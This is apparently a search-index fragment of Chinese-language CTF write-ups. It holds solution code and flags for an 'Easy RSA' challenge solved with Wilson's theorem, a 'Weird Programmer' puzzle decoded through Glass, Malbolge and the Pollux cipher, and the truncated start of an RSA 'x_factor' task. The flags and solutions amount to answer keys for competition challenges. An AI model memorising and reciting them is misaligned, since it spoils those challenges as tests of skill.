): fn *= ( value [ i ] - 1 ) n *= value [ i ] d = modinv ( e , fn ) value_q = 5591130088089053683141520294620171646179623062803708281023766040254675625012293743465254007970358536660934858789388093688621793201658889399155357407224541324547522479617669812322262372851929223461622559971534394847970366311206823328200747893961649255426063204482192349202005330622561575868946656570678176047822163692259375233925446556338917358118222905050574458037965803154233167594946713038301249145097770337253930655681648299249481985768272321820718607757023350742647019762122572886601905212830744868048802864679734428398229280780215896045509020793530842541217790352661324630048261329493088812057300480085895399922301827190211956061083460036781018660201163819104150988531352228650991733072010425499238731811243310625701946882701082178190402011133439065106720309788819 return sympy . nextprime ( pow ( value_q , d , n )) p \u3001 q \u548c e \u90fd\u5f97\u5230\u4e86\uff0c\u89e3\u5bc6\u5c31\u662f\u5206\u5206\u949f\u7684\u4e8b\u5566 XD fn = ( p - 1 ) * ( q - 1 ) d = modinv ( e , fn ) print ( long_to_bytes ( pow ( c , d , p * q ))) # b'flag{CRYPT0_1s_Interesting!}' \u53c2\u8003\u8d44\u6599 \u00b6 Wilson's theorem - Wikipedia","title":"HackerGame - Easy RSA"},{"location":"crypto/ustc_easy_rsa/#_1","text":"\u81ea\u4ece Hackergame 2018 \u516c\u7136\u63ed\u9732\u4e86\u5927\u6574\u6570\u53ef\u4ee5\u88ab\u795e\u7ae5\u53e3\u7b97\u5206\u89e3\u7684\u4e8b\u5b9e \uff0cRSA \u5728 hackergame \u4e2d\u5df2\u7ecf\u53ea\u80fd\u5904\u4e8e\u4f4e\u5206\u503c\u7684\u5730\u4f4d\u4e86\u3002\u5982\u679c\u4e0d\u5728\u5176\u540d\u79f0\u524d\u9762\u52a0\u4e0a Easy \u8fd9\u4e2a\u5355\u8bcd\uff0c\u4f3c\u4e4e\u5c31\u4f1a\u663e\u5f97\u5b8c\u5168\u5bf9\u4e0d\u8d77\u5176\u4ed6\u9898\u76ee\u3002 \u66f4\u4f55\u51b5\uff0c\u5728\u672c\u9898\u7684\u9644\u4ef6\u4e2d\uff0c\u4f60\u8fd8\u83b7\u5f97\u4e86\u6784\u9020 p \u548c q \u7684\u65b9\u5f0f\u3002\u6570\u7406\u57fa\u7840\u624e\u5b9e\u7684\u4f60\u5e94\u8be5\u53ef\u4ee5\u8f7b\u677e\u89e3\u51b3\u8fd9\u4e9b\u95ee\u9898\u5427\u3002 Easy_RSA.py import math import sympy from Crypto.Util.number import * e = 65537 def get_p (): x = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451 y = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391661439 value_p = sympy . nextprime (( math . factorial ( y )) % x ) # Hint\uff1a\u8fd9\u91cc\u76f4\u63a5\u8ba1\u7b97\u4f1a\u6ea2\u51fa\uff0c\u8bf7\u4f60\u4ed4\u7ec6\u89c2\u5bdf x \u548c y \u7684\u7279\u5f81 return value_p def get_q (): value = [ getPrime ( 256 )] for i in range ( 1 , 10 ): value . append ( sympy . nextprime ( value [ i - 1 ])) print ( \"value[-1] = \" , value [ - 1 ]) # value[-1] = 80096058210213458444437404275177554701604739094679033012396452382975889905967 n = 1 for i in range ( 10 ): n = n * value [ i ] q = getPrime ( 512 ) value_q = pow ( q , e , n ) print ( \"value_q = \" , value_q ) # value_q = 5591130088089053683141520294620171646179623062803708281023766040254675625012293743465254007970358536660934858789388093688621793201658889399155357407224541324547522479617669812322262372851929223461622559971534394847970366311206823328200747893961649255426063204482192349202005330622561575868946656570678176047822163692259375233925446556338917358118222905050574458037965803154233167594946713038301249145097770337253930655681648299249481985768272321820718607757023350742647019762122572886601905212830744868048802864679734428398229280780215896045509020793530842541217790352661324630048261329493088812057300480085895399922301827190211956061083460036781018660201163819104150988531352228650991733072010425499238731811243310625701946882701082178190402011133439065106720309788819 return sympy . nextprime ( q ) # this destroyes the rsa cryptosystem p = get_p () q = get_q () m = int . from_bytes ( open ( \"flag.txt\" , \"rb\" ) . read (), \"big\" ) c = pow ( m , e , p * q ) print ( \"c = \" , c ) # c = 110644875422336073350488613774418819991169603750711465190260581119043921549811353108399064284589038384540018965816137286856268590507418636799746759551009749004176545414118128330198437101472882906564195341277423007542422286760940374859966152871273887950174522820162832774361714668826122465471705166574184367478","title":"\u9898\u76ee"},{"location":"crypto/ustc_easy_rsa/#_2","text":"\u52a0\u5bc6\u65b9\u5f0f\u548c RSA \u6ca1\u6709\u533a\u522b\uff0c\u53ea\u9700\u8981\u5f97\u5230\u52a0\u5bc6\u4f7f\u7528\u7684 p \u548c q \u5c31\u53ef\u4ee5\u4e86\uff01 p \u503c\u4e3a y \u7684\u9636\u4e58\u6a21 x \u7684\u4e0b\u4e00\u4e2a\u8d28\u6570\uff0c\u7531\u4e8e y \u503c\u8f83\u5927\uff0c\u76f4\u63a5\u6c42\u9636\u4e58\u6bd4\u8f83\u56f0\u96be\u3002\u4ed4\u7ec6\u89c2\u5bdf y \u4e0e x \u5dee\u503c\u8f83\u5c0f\uff0c\u4e14 x \u4e3a\u8d28\u6570\uff0c \\(y < x\uff0cy > x/2\\) \uff0c\u53ef\u4ee5\u4f7f\u7528\u5a01\u5c14\u900a\u5b9a\u7406\u5feb\u901f\u6c42\u89e3 \\((x-1)! \\equiv -1 \\,(mod \\, x)\\) \\((y-1)! \\equiv -1 \\,(mod \\, y)\\) \\(y! * (y+1) * ... * (x-2) * (x-1) \\equiv -1 \\,(mod \\, x)\\) \\(y! \\equiv -[(y+1) * ... * (x-2) * (x-1)]^{-1} \\, (mod \\, x)\\) \u91cd\u5199 get_p() \u51fd\u6570\uff0c\u6c42\u9006\u5143\u677f\u5b50\u6307\u8def -> easy_RSA def get_p (): x = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451 y = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391661439 multi = 1 for i in range ( y + 1 , x ): multi = ( i * multi ) % x factor = ( x - modinv ( multi , x )) % x value_p = sympy . nextprime ( factor ) return value_p q \u503c\u6c42\u89e3\u7c7b\u4f3c\u4e8e RSA \u89e3\u5bc6\uff0c\u5148\u4f7f\u7528 prevprime \u5012\u63a8 value \u83b7\u5f97 \\(n\\) \u7684\u6240\u6709\u56e0\u6570\uff0c\u4ece\u800c\u83b7\u5f97 \\(\\varphi(n)\\) \uff0c\u8fdb\u800c\u6c42\u51fa \\(d\\) def get_real_q (): value = [ 80096058210213458444437404275177554701604739094679033012396452382975889905967 ] for i in range ( 1 , 10 ): value . append ( sympy . prevprime ( value [ i - 1 ])) value . reverse () n = fn = 1 for i in range ( 10 ): fn *= ( value [ i ] - 1 ) n *= value [ i ] d = modinv ( e , fn ) value_q = 5591130088089053683141520294620171646179623062803708281023766040254675625012293743465254007970358536660934858789388093688621793201658889399155357407224541324547522479617669812322262372851929223461622559971534394847970366311206823328200747893961649255426063204482192349202005330622561575868946656570678176047822163692259375233925446556338917358118222905050574458037965803154233167594946713038301249145097770337253930655681648299249481985768272321820718607757023350742647019762122572886601905212830744868048802864679734428398229280780215896045509020793530842541217790352661324630048261329493088812057300480085895399922301827190211956061083460036781018660201163819104150988531352228650991733072010425499238731811243310625701946882701082178190402011133439065106720309788819 return sympy . nextprime ( pow ( value_q , d , n )) p \u3001 q \u548c e \u90fd\u5f97\u5230\u4e86\uff0c\u89e3\u5bc6\u5c31\u662f\u5206\u5206\u949f\u7684\u4e8b\u5566 XD fn = ( p - 1 ) * ( q - 1 ) d = modinv ( e , fn ) print ( long_to_bytes ( pow ( c , d , p * q ))) # b'flag{CRYPT0_1s_Interesting!}'","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/ustc_easy_rsa/#_3","text":"Wilson's theorem - Wikipedia","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/weird_programmer/","text":"\u9898\u76ee \u00b6 I bet my friend who is a terrible poet and a really weird programmer that i can solve any encryption he makes in max 3 tries but i may have underestimated him. Can you help me win this bet? hint : Try underscore ( _ ) between the words poem.txt When you have broken the glass and stepped into the eighth circle of hell, you will find yourself under the pollux's spell and after that you will be able to tell, All's well that end's well Weird_Programmer.txt {M[m(_o)O!\"'&BA@?>~<543Wxwvutsrqponmlkjihgfe#zyx}|{zyrwp6WVUTSRQglejihgfe^$#DCBA@?>=bB;:?87[|{zyxwvutsrqp onmlk)i'&%$#\"!~}v<]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('=BA :?>=<;:92V05.3,10)Mnmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876 543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIH GFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[Z YXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponml kjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~ }|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:98765432 10/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFED CBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWV UTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjih gfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{z yxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/. -,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@ ?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSR QPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfed cba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwv utsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+* )('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=< ;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPON MLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba` _^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?[ZSXWVUTSRQPONMFjJCHA@d>CBA@?8\\}|{zyxwvutsr qponmlkji!&%$#\"!~w|u;yxqputsrk1oQmle+iha'_dcb[Z~A@?>=<;:9876543210/.-,+*)('= =<543W7654t210)Mnmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:98 76543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJ IHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\ [ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqpon mlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\" !~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:987654 3210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGF EDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYX WVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkj ihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}| {zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210 /.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCB A@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUT SRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgf edcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyx wvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, +*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?> =<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQP ONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcb a`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?[ZSXWVUTSRQPONMFjJCg*)('&%$#\"!~}|{zyxwvut srq/.-,+k)\"'&}|B\"!~`|u;\\[ZYXWVUTSRQPONMLKgfe^cba`Y^]Vz=<;:9876543210/.-,+*)( '&%$#\"!~}|{zyxwvutsrqponmlkjihgf|#\"y~}|{zyxwp6WVUTSRQmlkjibg`e^$Ea`Y}]\\[Z|{tyrqvun4rqjonmle+LKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$ #\"!~}|{zyxwvutsrqponmlkjihgfedcba`|{zyxwvunslk1Rnmlkjiha'HGFEDCBA@?>=<;:9876 543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqpo-,l*)('~%|#\"y?`_^]\\[ZYXWVUTSRQPONMLKJIH GcEa`Y^]V[TSRv9876543210/.-,+*)('=B;@?>=<;:3W7w543,Pqponml$#(!~%$#\"!x>_{zyxq 7XWVUTSingledihgf_%c\\aZ~^]?UZYXWPtTMLp3INGk.-,+*)E'=B;:?>=<5Yz876543,Pqponml k)('&%$#\"!x>_^]yxwvutsrk1RQPONMLKgfedcba`YXW{[ZYXWPUTMqQJImMFKJIHAe('=B;@?>= <;4XWV0543210)M-&+*)\"Fgfedcba`_^]\\[ZYXWVrqSinglkjiha'HGFEDCBA@?>=<;:98765432 10/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYutmrkponmledc)afe^$E[ Z_^]VzTYRWVONrLQPONGLKDh+*)('&=<;:92VC\"(_o)o.?]} \u89e3\u9898\u601d\u8def \u00b6 \u6beb\u65e0\u7591\u95ee\uff0c\u7ebf\u7d22\u90fd\u85cf\u5728 poem.txt \u4e2d XD \u6700\u5148\u6ce8\u610f\u5230\u7684\u662f pollux \uff0c\u7136\u540e\u4e5f\u987a\u5229\u5730\u627e\u5230\u4e86 Pollux Cipher \uff0c\u4e0d\u8fc7\u770b\u5bc6\u6587\u8fd9\u4e48\u591a\u6807\u70b9\u7b26\u53f7\uff0c\u663e\u7136\u6ca1\u6709\u5355\u7eaf\u7528 Pollux \u52a0\u5bc6 \u6839\u636e Difficult Programming Language \u7684\u7ecf\u9a8c\u63a8\u6d4b\u5e94\u8be5\u8fd8\u4f7f\u7528\u4e86 Malbolge\uff0c\u901a\u8fc7\u641c\u7d22\u5f97\u5230\u8bc1\u5b9e Malbolge is a public domain esoteric programming language invented by Ben Olmstead in 1998, named after the eighth circle of hell in Dante's Inferno, the Malebolge. \u968f\u540e\u76f4\u63a5\u628a\u4ee3\u7801\u4ecd\u7ed9\u4e86 Malbolge - interpreter online \uff0c\u9047\u5230\u4e86 Invalid char \u7684\u9519\u8bef\uff0c\u8fd8\u662f\u6839\u636e Difficult Programming Language \u7684\u7ecf\u9a8c\uff0c\u5c31\u5bf9\u7740\u9519\u8bef\u4f4d\u7f6e\u4e0a\u624b\u6539\u4ee3\u7801\u4e86 \ud83d\ude49 \u6ce2\u6298\u5730\u8dd1\u51fa\u4e86\u7ed3\u679c\uff08\u67d0\u6b21\u4e0d\u5c0f\u5fc3\u5220\u591a\u4e86\uff0c\u4f46\u8fd0\u884c\u6ca1\u6709\u95ee\u9898\uff0c\u53ea\u662f\u8f93\u51fa\u5b57\u7b26\u4e32\u5c11\u4e86\u4e00\u4e9b\uff09\uff1a AR11J65VQOV3ZXSOTWS7FEGJH84C5BDMGOU5Q86N0LBBRJTH4KJLG41WRVTFYELAQATJIPN4LQXFJWUQCCC12MRXITO3 Pollux \u89e3\u5bc6\u53d6\u5f97 Flag\uff1a 1 T I S W 3 1 R D N 0 T T 0 B 3 W 3 1 R D => vishwaCTF{1T_IS_W31RD_N0T_T0_B3_W31RD} \u5b9e\u9645\u4e0a\uff0c\u5728 Malbolge \u4e4b\u524d\uff0c\u8fd8\u6709\u4e00\u6b65\uff0c\u5c31\u662f Glass \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) \u5bf9\u6bd4 Glass \u6253\u5370 Hello World! \u7684\u7a0b\u5e8f\u548c\u9898\u76ee\u4ee3\u7801\uff0cMalbolge \u7684\u4ee3\u7801\u5c31\u662f\u7531 Glass \u7a0b\u5e8f\u6253\u5370\u7684\uff0c\u524d\u9762\u7684\u64cd\u4f5c\u6070\u597d\u628a Malbolge \u7684\u90e8\u5206\u63d0\u53d6\u51fa\u6765\u4e86 \ud83e\udd73 {M[m(_o)O!\"Hello World!\"(_o)o.?]} \u53c2\u8003\u8d44\u6599 \u00b6 Glass - Esolang","title":"Weird Programmer"},{"location":"crypto/weird_programmer/#_1","text":"I bet my friend who is a terrible poet and a really weird programmer that i can solve any encryption he makes in max 3 tries but i may have underestimated him. Can you help me win this bet? hint : Try underscore ( _ ) between the words poem.txt When you have broken the glass and stepped into the eighth circle of hell, you will find yourself under the pollux's spell and after that you will be able to tell, All's well that end's well Weird_Programmer.txt {M[m(_o)O!\"'&BA@?>~<543Wxwvutsrqponmlkjihgfe#zyx}|{zyrwp6WVUTSRQglejihgfe^$#DCBA@?>=bB;:?87[|{zyxwvutsrqp onmlk)i'&%$#\"!~}v<]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('=BA :?>=<;:92V05.3,10)Mnmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876 543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIH GFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[Z YXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponml kjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~ }|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:98765432 10/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFED CBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWV UTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjih gfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{z yxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/. -,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@ ?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSR QPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfed cba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwv utsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+* )('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=< ;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPON MLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba` _^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?[ZSXWVUTSRQPONMFjJCHA@d>CBA@?8\\}|{zyxwvutsr qponmlkji!&%$#\"!~w|u;yxqputsrk1oQmle+iha'_dcb[Z~A@?>=<;:9876543210/.-,+*)('= =<543W7654t210)Mnmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:98 76543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJ IHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\ [ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqpon mlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\" !~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:987654 3210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGF EDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYX WVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkj ihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}| {zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210 /.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCB A@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUT SRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgf edcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyx wvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, +*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?> =<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYXWVUTSRQP ONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcb a`_^]\\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?[ZSXWVUTSRQPONMFjJCg*)('&%$#\"!~}|{zyxwvut srq/.-,+k)\"'&}|B\"!~`|u;\\[ZYXWVUTSRQPONMLKgfe^cba`Y^]Vz=<;:9876543210/.-,+*)( '&%$#\"!~}|{zyxwvutsrqponmlkjihgf|#\"y~}|{zyxwp6WVUTSRQmlkjibg`e^$Ea`Y}]\\[Z|{tyrqvun4rqjonmle+LKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$ #\"!~}|{zyxwvutsrqponmlkjihgfedcba`|{zyxwvunslk1Rnmlkjiha'HGFEDCBA@?>=<;:9876 543210/.-,+*)('&%$#\"!~}|{zyxwvutsrqpo-,l*)('~%|#\"y?`_^]\\[ZYXWVUTSRQPONMLKJIH GcEa`Y^]V[TSRv9876543210/.-,+*)('=B;@?>=<;:3W7w543,Pqponml$#(!~%$#\"!x>_{zyxq 7XWVUTSingledihgf_%c\\aZ~^]?UZYXWPtTMLp3INGk.-,+*)E'=B;:?>=<5Yz876543,Pqponml k)('&%$#\"!x>_^]yxwvutsrk1RQPONMLKgfedcba`YXW{[ZYXWPUTMqQJImMFKJIHAe('=B;@?>= <;4XWV0543210)M-&+*)\"Fgfedcba`_^]\\[ZYXWVrqSinglkjiha'HGFEDCBA@?>=<;:98765432 10/.-,+*)('&%$#\"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\\[ZYutmrkponmledc)afe^$E[ Z_^]VzTYRWVONrLQPONGLKDh+*)('&=<;:92VC\"(_o)o.?]}","title":"\u9898\u76ee"},{"location":"crypto/weird_programmer/#_2","text":"\u6beb\u65e0\u7591\u95ee\uff0c\u7ebf\u7d22\u90fd\u85cf\u5728 poem.txt \u4e2d XD \u6700\u5148\u6ce8\u610f\u5230\u7684\u662f pollux \uff0c\u7136\u540e\u4e5f\u987a\u5229\u5730\u627e\u5230\u4e86 Pollux Cipher \uff0c\u4e0d\u8fc7\u770b\u5bc6\u6587\u8fd9\u4e48\u591a\u6807\u70b9\u7b26\u53f7\uff0c\u663e\u7136\u6ca1\u6709\u5355\u7eaf\u7528 Pollux \u52a0\u5bc6 \u6839\u636e Difficult Programming Language \u7684\u7ecf\u9a8c\u63a8\u6d4b\u5e94\u8be5\u8fd8\u4f7f\u7528\u4e86 Malbolge\uff0c\u901a\u8fc7\u641c\u7d22\u5f97\u5230\u8bc1\u5b9e Malbolge is a public domain esoteric programming language invented by Ben Olmstead in 1998, named after the eighth circle of hell in Dante's Inferno, the Malebolge. \u968f\u540e\u76f4\u63a5\u628a\u4ee3\u7801\u4ecd\u7ed9\u4e86 Malbolge - interpreter online \uff0c\u9047\u5230\u4e86 Invalid char \u7684\u9519\u8bef\uff0c\u8fd8\u662f\u6839\u636e Difficult Programming Language \u7684\u7ecf\u9a8c\uff0c\u5c31\u5bf9\u7740\u9519\u8bef\u4f4d\u7f6e\u4e0a\u624b\u6539\u4ee3\u7801\u4e86 \ud83d\ude49 \u6ce2\u6298\u5730\u8dd1\u51fa\u4e86\u7ed3\u679c\uff08\u67d0\u6b21\u4e0d\u5c0f\u5fc3\u5220\u591a\u4e86\uff0c\u4f46\u8fd0\u884c\u6ca1\u6709\u95ee\u9898\uff0c\u53ea\u662f\u8f93\u51fa\u5b57\u7b26\u4e32\u5c11\u4e86\u4e00\u4e9b\uff09\uff1a AR11J65VQOV3ZXSOTWS7FEGJH84C5BDMGOU5Q86N0LBBRJTH4KJLG41WRVTFYELAQATJIPN4LQXFJWUQCCC12MRXITO3 Pollux \u89e3\u5bc6\u53d6\u5f97 Flag\uff1a 1 T I S W 3 1 R D N 0 T T 0 B 3 W 3 1 R D => vishwaCTF{1T_IS_W31RD_N0T_T0_B3_W31RD} \u5b9e\u9645\u4e0a\uff0c\u5728 Malbolge \u4e4b\u524d\uff0c\u8fd8\u6709\u4e00\u6b65\uff0c\u5c31\u662f Glass \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) \u5bf9\u6bd4 Glass \u6253\u5370 Hello World! \u7684\u7a0b\u5e8f\u548c\u9898\u76ee\u4ee3\u7801\uff0cMalbolge \u7684\u4ee3\u7801\u5c31\u662f\u7531 Glass \u7a0b\u5e8f\u6253\u5370\u7684\uff0c\u524d\u9762\u7684\u64cd\u4f5c\u6070\u597d\u628a Malbolge \u7684\u90e8\u5206\u63d0\u53d6\u51fa\u6765\u4e86 \ud83e\udd73 {M[m(_o)O!\"Hello World!\"(_o)o.?]}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/weird_programmer/#_3","text":"Glass - Esolang","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/x_factor/","text":"\u9898\u76ee \u00b6 Decrypt it! x_factor.md I have generated a RSA-1024 key pair: * public key exponent: 0x10001 * public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3 Here are some known plain -> signature pairs I generated using my private key: * 0x945d86b04b2e7c7 -> 